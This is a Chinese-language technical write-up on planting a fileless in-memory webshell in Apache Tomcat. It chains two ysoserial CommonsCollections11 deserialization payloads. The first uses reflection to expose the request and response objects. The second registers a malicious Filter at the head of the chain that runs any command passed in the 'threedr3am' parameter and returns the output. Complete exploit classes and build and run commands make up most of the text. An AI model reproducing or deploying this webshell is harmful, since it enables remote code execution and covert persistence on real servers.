基于tomcat的内存 Webshell 无文件攻击技术

0x01 tomcat通用的获取request和response

首先我们看看一个普通http请求进来的时候，tomcat的部分执行栈：

at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:493)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:800)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:806)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1498)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:745)

按照kingkk师傅的方法，利用的点是在 org.apache.catalina.core.ApplicationFilterChain.internalDoFilter：

if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
    lastServicedRequest.set(request);
    lastServicedResponse.set(response);
}

其中，通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true，并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化，之后，每次请求进来，就能通过这两个ThreadLocal获取到相应的request和response了。但是，也存在一点小限制，在其set之前，看：

private void internalDoFilter(ServletRequest request,
                                  ServletResponse response)
    throws IOException, ServletException {

    // Call the next filter if there is one
    if (pos < n) {
        ApplicationFilterConfig filterConfig = filters[pos++];
        try {
            Filter filter = filterConfig.getFilter();

            if (request.isAsyncSupported() && "false".equalsIgnoreCase(
                    filterConfig.getFilterDef().getAsyncSupported())) {
                request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
            }
            if( Globals.IS_SECURITY_ENABLED ) {
                final ServletRequest req = request;
                final ServletResponse res = response;
                Principal principal =
                    ((HttpServletRequest) req).getUserPrincipal();

                Object[] args = new Object[]{req, res, this};
                SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
            } else {
                filter.doFilter(request, response, this);
            }
        } catch (IOException | ServletException | RuntimeException e) {
            throw e;
        } catch (Throwable e) {
            e = ExceptionUtils.unwrapInvocationTargetException(e);
            ExceptionUtils.handleThrowable(e);
            throw new ServletException(sm.getString("filterChain.filter"), e);
        }
        return;
    }

    // We fell off the end of the chain -- call the servlet instance
    try {
        if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
            lastServicedRequest.set(request);
            lastServicedResponse.set(response);
        }
        ...
    } catch (IOException | ServletException | RuntimeException e) {
        throw e;
    } catch (Throwable e) {
        e = ExceptionUtils.unwrapInvocationTargetException(e);
        ExceptionUtils.handleThrowable(e);
        throw new ServletException(sm.getString("filterChain.servlet"), e);
    } finally {
        if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
            lastServicedRequest.set(null);
            lastServicedResponse.set(null);
        }
    }
}

先执行完所有的Filter了filter.doFilter(request, response, this)

因此，对于shiro的反序列化利用就没办法通过这种方式取到response回显了。

0x02 动态注册Filter

没错的，正如标题所说，通过动态注册一个Filter，并且把其放到最前面，这样，我们的Filter就能最先执行了，并且也成为了一个内存Webshell了。

要实现动态注册Filter，需要两个步骤。第一个步骤就是先达到能获取request和response，而第二个步骤是通过request或者response去动态注册Filter

步骤一

首先，我们创建一个继承AbstractTranslet（因为需要携带恶意字节码到服务端加载执行）的TomcatEchoInject类，在其静态代码块中反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true，并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

/**
 * @author threedr3am
 */
public class TomcatEchoInject  extends AbstractTranslet {

  static {
    try {
      /*刚开始反序列化后执行的逻辑*/
      //修改 WRAP_SAME_OBJECT 值为 true
      Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
      java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
      java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
      modifiersField.setAccessible(true);
      modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
      f.setAccessible(true);
      if (!f.getBoolean(null)) {
        f.setBoolean(null, true);
      }

      //初始化 lastServicedRequest
      c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
      f = c.getDeclaredField("lastServicedRequest");
      modifiersField = f.getClass().getDeclaredField("modifiers");
      modifiersField.setAccessible(true);
      modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
      f.setAccessible(true);
      if (f.get(null) == null) {
        f.set(null, new ThreadLocal());
      }

      //初始化 lastServicedResponse
      f = c.getDeclaredField("lastServicedResponse");
      modifiersField = f.getClass().getDeclaredField("modifiers");
      modifiersField.setAccessible(true);
      modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
      f.setAccessible(true);
      if (f.get(null) == null) {
        f.set(null, new ThreadLocal());
      }
    } catch (Exception e) {
      e.printStackTrace();
    }
  }

  @Override
  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

  }

  @Override
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
      throws TransletException {

  }
}

接着，我们改造一下ysoserial中的Gadgets.createTemplatesImpl方法

public static Object createTemplatesImpl ( final String command) throws Exception {
    return createTemplatesImpl(command, null);
}

public static Object createTemplatesImpl ( final String command, final Class c ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command, c,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, c, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}


public static <T> T createTemplatesImpl ( final String command, Class c, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
        throws Exception {
    final T templates = tplClass.newInstance();
    final byte[] classBytes;
    if (c == null) {
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
        classBytes = clazz.toBytecode();
    } else {
        classBytes = ClassFiles.classAsBytes(c);
    }


    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
        classBytes, ClassFiles.classAsBytes(Foo.class)
    });

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
    return templates;
}

可以看到，第二个传入的Class参数，我们并没有用到javassist，而是直接转字节数组，然后放到TemplatesImpl实例的_bytecodes字段中了。

最后，回到ysoserial中有调用Gadgets.createTemplatesImpl的payload类中来，我这边对每一个都做了拷贝修改，例如CommonsCollections11，我拷贝其修改后的类为CommonsCollections11ForTomcatEchoInject，在调用Gadgets.createTemplatesImpl(command[0];的地方，改成了final Object templates = Gadgets.createTemplatesImpl(null, TomcatEchoInject.class);

并且，对ysoserial的main入口做一点小修改，因为原来的代码规定必须要有payload的入参，而我们这里不需要了

ysoserial.GeneratePayload#main：

if (args.length < 1) {
    printUsage();
    System.exit(USAGE_CODE);
}

在ysoserial执行maven指令生成jar包

mvn clean -Dmaven.test.skip=true compile assembly:assembly

这样，我们就能使用这个新的payload（CommonsCollections11ForTomcatEchoInject）了

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11ForTomcatEchoInject > ~/tmp/TomcatShellInject.ysoserial

步骤二

在使用步骤一生成的序列化数据进行反序列化攻击后，我们就能通过下面这段代码获取到request和response对象了

java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal t = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
ServletRequest servletRequest = (ServletRequest) t.get()

接着，我们要做的就是动态注册Filter到tomcat中，参考《动态注册之Servlet+Filter+Listener》，可以看到，其中通过ServletContext对象（实际获取的是ApplicationContext，是ServletContext的实现，因为门面模式的使用，后面需要提取实际实现），实现了动态注册Filter

javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("threedr3am", threedr3am);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});

然而实际上并不管用，为什么呢？

private Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException {
    if (filterName != null && !filterName.equals("")) {
      if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
        throw new IllegalStateException(sm.getString("applicationContext.addFilter.ise", new Object[]{this.getContextPath()}));
      } else {
        FilterDef filterDef = this.context.findFilterDef(filterName);
        if (filterDef == null) {
          filterDef = new FilterDef();
          filterDef.setFilterName(filterName);
          this.context.addFilterDef(filterDef);
        } else if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
          return null;
        }

        if (filter == null) {
          filterDef.setFilterClass(filterClass);
        } else {
          filterDef.setFilterClass(filter.getClass().getName());
          filterDef.setFilter(filter);
        }

        return new ApplicationFilterRegistration(filterDef, this.context);
      }
    } else {
      throw new IllegalArgumentException(sm.getString("applicationContext.invalidFilterName", new Object[]{filterName}));
    }
}

因为this.context.getState()在运行时返回的state已经是LifecycleState.STARTED了，所以直接就抛异常了，filter根本就添加不进去。

不过问题不大，因为this.context.getState()获取的是ServletContext实现对象的context字段，从其中获取出state，那么，我们在其添加filter前，通过反射设置成LifecycleState.STARTING_PREP，在其顺利添加完成后，再把其恢复成LifecycleState.STARTE，这里必须要恢复，要不然会造成服务不可用。

其实上面的反射设置state值，也可以不做，因为我们看代码中，只是执行了this.context.addFilterDef(filterDef)，我们完全也可以通过反射context这个字段自行添加filterDef。

在实际执行栈中，可以看到，实际filter的创建是在org.apache.catalina.core.StandardWrapperValve#invoke执行ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);的地方

跟进其实现方法，忽略不重要的代码：

...
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
...
// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) {
    if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
        continue;
    }
    if (!matchFiltersURL(filterMaps[i], requestPath))
        continue;
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
        context.findFilterConfig(filterMaps[i].getFilterName());
    if (filterConfig == null) {
        // FIXME - log configuration problem
        continue;
    }
    filterChain.addFilter(filterConfig);
}

可以看到，从context提取了FilterMap数组，并且遍历添加到filterChain，最终生效，但是这里有两个问题：

1. 我们最早创建的filter被封装成FilterDef添加到了context的filterDefs中，但是filterMaps中并不存在

2. 跟上述一样的问题，也不存在filterConfigs中（context.findFilterConfig是从context的filterConfigs中获取）

这两个问题，也比较简单，第一个问题，其实在下面代码执行filterRegistration.addMappingForUrlPatterns的时候已经添加进去了

javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("threedr3am", threedr3am);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});

public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) {
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName(this.filterDef.getFilterName());
    if (dispatcherTypes != null) {
      Iterator var5 = dispatcherTypes.iterator();

      while(var5.hasNext()) {
        DispatcherType dispatcherType = (DispatcherType)var5.next();
        filterMap.setDispatcher(dispatcherType.name());
      }
    }

    if (urlPatterns != null) {
      String[] var9 = urlPatterns;
      int var10 = urlPatterns.length;

      for(int var7 = 0; var7 < var10; ++var7) {
        String urlPattern = var9[var7];
        filterMap.addURLPattern(urlPattern);
      }

      if (isMatchAfter) {
        this.context.addFilterMap(filterMap);
      } else {
        this.context.addFilterMapBefore(filterMap);
      }
    }

}

而第二个问题，既然没有，我们就反射加进去就行了，不过且先看看StandardContext，它有一个方法filterStart

public boolean filterStart() {
    if (this.getLogger().isDebugEnabled()) {
      this.getLogger().debug("Starting filters");
    }

    boolean ok = true;
    synchronized(this.filterConfigs) {
      this.filterConfigs.clear();
      Iterator var3 = this.filterDefs.entrySet().iterator();

      while(var3.hasNext()) {
        Entry<String, FilterDef> entry = (Entry)var3.next();
        String name = (String)entry.getKey();
        if (this.getLogger().isDebugEnabled()) {
          this.getLogger().debug(" Starting filter '" + name + "'");
        }

        try {
          ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
          this.filterConfigs.put(name, filterConfig);
        } catch (Throwable var8) {
          Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);
          ExceptionUtils.handleThrowable(t);
          this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
          ok = false;
        }
      }

      return ok;
    }
}

没错，它遍历了filterDefs，一个个实例化成ApplicationFilterConfig添加到filterConfigs了。

这两个问题解决了，是不是就完成了呢，其实还没有，还差一个优化的地方，因为我们想要把filter放到最前面，在所有filter前执行，从而解决shiro漏洞的问题。

也简单，我们看回org.apache.catalina.core.ApplicationFilterFactory#createFilterChain的代码：

// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) {
    if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
        continue;
    }
    if (!matchFiltersURL(filterMaps[i], requestPath))
        continue;
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
        context.findFilterConfig(filterMaps[i].getFilterName());
    if (filterConfig == null) {
        // FIXME - log configuration problem
        continue;
    }
}

创建的顺序是根据filterMaps的顺序来的，那么我们就有必要去修改我们添加的filter顺序到第一位了，最后，整个第二步骤的代码如下：

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;

/**
 * @author threedr3am
 */
public class TomcatShellInject extends AbstractTranslet implements Filter {

    static {
        try {
            /*shell注入，前提需要能拿到request、response等*/
            java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class
                .getDeclaredField("lastServicedRequest");
            f.setAccessible(true);
            ThreadLocal t = (ThreadLocal) f.get(null);
            ServletRequest servletRequest = null;
            //不为空则意味着第一次反序列化的准备工作已成功
            if (t != null && t.get() != null) {
                servletRequest = (ServletRequest) t.get();
            }
            if (servletRequest != null) {
                javax.servlet.ServletContext servletContext = servletRequest.getServletContext();
                org.apache.catalina.core.StandardContext standardContext = null;
                //判断是否已有该名字的filter，有则不再添加
                if (servletContext.getFilterRegistration("threedr3am") == null) {
                    //遍历出标准上下文对象
                    for (; standardContext == null; ) {
                        java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
                        contextField.setAccessible(true);
                        Object o = contextField.get(servletContext);
                        if (o instanceof javax.servlet.ServletContext) {
                            servletContext = (javax.servlet.ServletContext) o;
                        } else if (o instanceof org.apache.catalina.core.StandardContext) {
                            standardContext = (org.apache.catalina.core.StandardContext) o;
                        }
                    }
                    if (standardContext != null) {
                        //修改状态，要不然添加不了
                        java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
                            .getDeclaredField("state");
                        stateField.setAccessible(true);
                        stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                        //创建一个自定义的Filter马
                        Filter threedr3am = new TomcatShellInject();
                        //添加filter马
                        javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
                            .addFilter("threedr3am", threedr3am);
                        filterRegistration.setInitParameter("encoding", "utf-8");
                        filterRegistration.setAsyncSupported(false);
                        filterRegistration
                            .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                new String[]{"/*"});
                        //状态恢复，要不然服务不可用
                        if (stateField != null) {
                            stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                        }

                        if (standardContext != null) {
                            //生效filter
                            java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class
                                .getMethod("filterStart");
                            filterStartMethod.setAccessible(true);
                            filterStartMethod.invoke(standardContext, null);

                            //把filter插到第一位
                            org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext
                                .findFilterMaps();
                            for (int i = 0; i < filterMaps.length; i++) {
                                if (filterMaps[i].getFilterName().equalsIgnoreCase("threedr3am")) {
                                    org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
                                    filterMaps[i] = filterMaps[0];
                                    filterMaps[0] = filterMap;
                                    break;
                                }
                            }
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
        throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
        FilterChain filterChain) throws IOException, ServletException {
        System.out.println(
            "TomcatShellInject doFilter.....................................................................");
        String cmd;
        if ((cmd = servletRequest.getParameter("threedr3am")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

    }
}

和第一个步骤创建的TomcatEchoInject不一样，这里我们不但基础了AbstractTranslet，还实现了Filter创建一个我们自定义的内存Webshell

最后，我们也按照第一个步骤那样，创建一个ysoserial的CommonsCollections11类的拷贝，名叫CommonsCollections11ForTomcatShellInject，并把其Gadgets.createTemplatesImpl(command[0])的调用改成Gadgets.createTemplatesImpl(null, TomcatShellInject.class)，这样，我们的Webshell payload就完成了。

通过执行maven打包

mvn clean -Dmaven.test.skip=true compile assembly:assembly

然后执行生成的jar

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11ForTomcatShellInject > ~/tmp/TomcatEchoInject.ysoserial

就生成了CommonsCollections11ForTomcatShellInject的payload了

0x03 测试

上一节中，我们生成了两个payload，接下来，我们启动一个具有commons-collections:commons-collections:3.2.1依赖的服务端，并且存在反序列化的接口。

然后我们把步骤一和步骤二生成的payload依次打过去

可以依次看到，两个步骤都返回500异常，相关信息证明已经执行反序列化成功了，接下来我们试试这个内存Webshell